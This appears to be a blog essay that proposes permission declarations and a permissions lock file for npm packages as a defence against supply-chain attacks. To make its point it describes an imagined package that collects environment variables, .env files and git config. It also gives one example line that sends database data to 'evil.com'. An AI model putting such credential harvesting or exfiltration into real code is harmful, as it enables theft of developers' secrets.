A few days ago I opened the calculator on my new phone and got a message: “Calculator would like to access your contacts”.
At first I thought this was a bit sad (clearly the calculator was lonely) but it got me thinking…
What if, just like apps on our phones, npm packages had to declare what permissions they required?
package.json might look something like this:
On npmjs.com it might look something like this:
Which would allow us, as developers, to say things like “hey, why does
fancy-logger need access to Node’s
http module? That’s a bit suss.”
(The permissions shown for a package on the npm site would actually be the sum of all package dependency permissions.)
Let’s start with an interlude, to get everyone feeling similarly vulnerable…
I’m harvesting your environment variables, here’s how
My original plan was to write an npm package called
space-invaders. It would be an interesting learning experience to build a game that ran in a console, and would allow me to make a point at the same time.
You would run the game with
npx space-invaders and instantly begin shooting aliens and killing time.
You’d love it, you’d share it, your friends would love it too.
space-invaders would be busy invading your space, gathering up data from
~/.bash_profile, etc., all the
.env files it could get its hands on, the contents of
process.env, your git config (so I know who you are), and sending the lot off to my server.
I never wrote the game, but started worrying about exactly how exposed I am every time I ran
npm install. Now, as the install indicator ticks away, I ponder how much stuff I have on my laptop, in predictable locations, that I really don’t want to fall into the wrong hands.
And it’s not just my laptop, I don’t even know if somewhere in my site’s build pipeline there’s database connection details in environment variables on a prod server that would allow a rogue npm package install script to connect right into my database and
SELECT * from users and
http.get('http://evil.com/that-data'). (Is this why people keep telling me to not store my passwords in plain text?)
This is all a bit frightening, and definitely already happening (probably, allegedly).
But enough of the self-derivative fear mongering, let’s get back to npm permissions.
Keeping things locked down
Seeing what permissions a package is asking for when browsing the npm website would be cool (I reckon) and that’s all well and good for a particular slice of time, but actually this doesn’t solve the real problem.
In a recent hack, someone rather cleverly published a patch version of a package with malicious code in it, then a minor version with the malicious code removed. The time between was enough to snag quite a few people.
This is the problem. It’s not packages that are always malicious. It’s the ones that slip in something nasty for a little while then remove it.
So, we’ll need a way to lock down what permissions are granted to which packages.
package-permissions.json that defines permissions for Node and the browser, and the packages that require each permission. This would need to list all packages, not just the packages that you have listed in your project’s
Now imagine that, at some point in the future, you update a package. That in turn will update its 200 dependencies, and let’s say one of those has published a patch version that suddenly wants access to Node’s
In this case, the
npm install will fail and display something like this in the CLI:
add-two-numbers, which is required by the package
fancy-logger, has requested access to Node’s
npm update-permissions add-two-numbersto allow this, then run
fancy-logger is a package you have in your
package.json (that you would presumably recognise) and
add-two-numbers is something you’ve never heard of.
(Of course, even with this ‘permissions lock file’ in place, some developers will happily accept the new permissions without thinking about it. But at least the change to
package-permissions.json will show up in a pull request, where with any luck a less lackadaisical colleague won’t be asleep at the wheel.)
Lastly, a change in requested permissions would require npm to alert package authors when things change somewhere in their package’s dependency tree. Maybe an email along the lines of:
Hi there, author of fancy-logger. Just letting you know that add-two-numbers — a package you rely on — has requested permissions to the ‘http’ module. Your package’s permissions, as displayed at npmjs.com/package/fancy-logger, have been updated accordingly.
This is going to add friction, for sure. But it’s the right kind of friction. In this instance, the author of
add-two-numbers will be quite aware that if they request permissions to
http, it’s going to set off alarm bells all around the world.
This is what we want, right?
I would hope that, just like with phone apps and even Chrome extensions, packages that require less access will be favoured over those that ask for dubious access to your system. This will in turn apply pressure to package authors to take a more considered approach to their selection of dependencies.